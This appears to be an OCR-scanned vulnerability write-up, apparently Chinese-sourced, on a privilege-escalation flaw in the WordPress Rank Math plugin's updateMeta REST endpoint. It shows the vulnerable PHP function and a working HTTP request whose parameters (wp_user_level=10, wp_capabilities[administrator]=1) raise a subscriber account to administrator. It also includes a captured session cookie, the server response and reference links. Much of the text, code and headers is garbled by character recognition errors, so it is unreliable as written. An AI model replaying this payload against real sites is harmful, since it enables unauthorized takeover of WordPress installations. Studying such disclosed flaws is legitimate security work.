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WP Rest API (https://cn.wp.xz.cn/plugins/rest-api/)

rank math (https://downloads.wordpress.org/plugin/seo-by-rank-
math.1.0.40.zip)
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etest:

wp_capabilities a:1:{s:10:"subscriber”;b:1;}

wp_user_level 0
cadmin:
|l wp_capabilities a:1:{s:13:"administrator”;b:1;}
L | wp_user_level 10

EEERwp user_level@10, MiJRBEBAIwp user_level 20
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b Jup/v2/settings:

b joembed/1.8:

b /oembed/1.8/embed:

b /foembed/1.8/proxy:

b frankmath/vil:

b /rankmath/v1l/saveModule:
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» /rankmath/v1/updateRedirection:
namespace: "rankmath/v1"
¥ methods: -]
¥ endpoints:
b _links:
b /rankmath/v1/autoUpdate:
b /rankmath/vl/toolsAction:
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b /rankmath/vl/enableScore:
r /rankmath/v1l/updateMeta:

namespace: "rankmath/v1"
v methods:
a: "POST"
b a: {3
v links:

v self: "http://127.8.8.1/wordpress/wp-json/rankmath/vl/updateMeta”
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public function update metadata( WP REST Request Srequest ) |

$object_id = Srequest->get param( 'objectID' );
Sobject type|= Srequest->get param( 'objectType' );
Smeta = $request->get_param( 'meta’ );

$new slug = true;

if ( isset( $meta['permalink'] ) && ! empty( Smeta['permalink'] ) ) {
Spost = get_post( Sobject_id ):
Snew_slug = wp_unique post_slug( $meta['permalink'], S$post->ID, Spost->post_status, $post->post_type

wp_update post(

=> $object_id,
'post_name' => $new_slug,
)i
unset( $meta['permalink'] ):
}

$sanitizer = Sanitize::get():
foreach ( S$meta as Smeta_key => $meta value ) {

if ( empty( Smeta value ) ) {
delete_metadata( Sobject_type, Sobject_id, S$meta_key );
continue;

update metadata( Sobject type, Sobject id, Smeta key, $sanitizer-»sanitize( Smeta key, Smeta value )
i
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{input type="hidden” name="action” value="update” /
{input type="hidden” name+ [Elal id="user id” value="2" />

payloadil F:
objectID=2&objectType=user&meta[wp_user_ level]=10&meta[wp_capabi

lities][administrator]=1



POST Jwordpress/wp-Jjson/rankmath/wl /updateMeta HTTPS1.1
Host: 127.0.0.1

User—Agent: MNozillas5.0 (Windows NT &.3;
Gecko/Z0100101 Firefox/75.0

Accept:

text/html , application/xhtmltxm]  application/xml;q=0.9, image fwebp, */*;qg=0
.8

Accept-Language :

z=h-CIT, zh:q=0.8,zh-TW;q=0. 7, zh-HE;q=0.5,en-US;q=0.2 ,en;q=0.2
Accept-Encoding: deflate

Connection:

o

Wing4; xzed; rv:7&.00

w

gzip,

close

Cockie: wp-settings-time-1=158759£3028; wordpress_test cookie=
WPtCookietcheck,; wordpress logged in Shd7aScElcdagescfc®ZlalShe80ee83=
admin TC168012978 1 TChSun Pe QN THI P TIFNTAi b LVC 3HaYVCwL I ILYTEEZLiZaWHs s TC9 £697
TdbO0Z5EEL4c208351d18906885559131e2894f2c4]11£11E0065dbERALT £
Tpgrade-Insecure-Regquests: 1

Content-Type: application/xz-www-form—urlencoded

Content-Length: 88

o

objectID="6objectType=userameta[wp_user_lewel]=10&
meta[wp capabilities] [administrator]=1
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admin a@a.com

test b@b.com
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SEHE:
https://xz.aliyun.com/t/7616

https://www.wpdaxue.com/a-serious-vulnerability-in-

the-rank-math-plugin.html
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HTTP/1.1 Z00 OF
Dace: Mon, 27 &
Server: Apache/
¥-Powered-BEy: [
H-Robots-Tag: n
Link: <http://1
H-Content-Type-
Access-Control-
Access-Control-
Wed, 1
Carhe-Control:

Allow: POST
Connection:
Content-Type: =
Content-Lengtl:

Expires:

clc

true
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